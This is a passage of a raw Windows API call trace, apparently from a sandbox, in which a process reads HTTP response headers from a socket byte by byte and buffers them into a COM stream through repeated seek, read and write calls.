plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x44, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x19, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x61, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x57, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x64, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x21, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2c, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x23, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x24, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.143] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x25, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x41, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x27, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x70, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x72, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x29, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x32, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x38, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x30, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x39, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x31, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.144] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x32, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.144] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x32, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x33, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x34, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x35, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x36, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x38, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x37, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x38, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x47, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x39, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x4d, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x3) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x2) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x1) returned 0x0 [0086.145] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.145] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x0, pcbRead=0x12fd5c*=0x0) returned 0x0 [0086.145] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.145] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.145] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.146] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x53, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.146] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.146] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.146] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.146] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.146] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.146] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.146] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.146] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x72, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.146] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.147] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.147] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.147] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x76, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.147] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.147] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.147] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.147] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.147] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.147] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.147] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.147] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x72, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.147] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.147] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.147] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.147] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.147] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.147] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.147] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.147] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.148] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.148] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.148] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.148] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x41, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.148] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.148] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.148] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.148] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x70, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.148] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.148] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.148] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.148] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x61, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.148] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.148] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.148] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.148] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x63, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.148] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.148] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.148] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.149] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x68, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.149] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.149] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.149] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.149] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.149] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.149] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.149] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.149] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.149] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.149] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.149] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.149] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.149] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.149] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.149] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.149] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x48, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.149] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.149] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.149] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.149] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x50, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xd, dwOrigin=0x0, 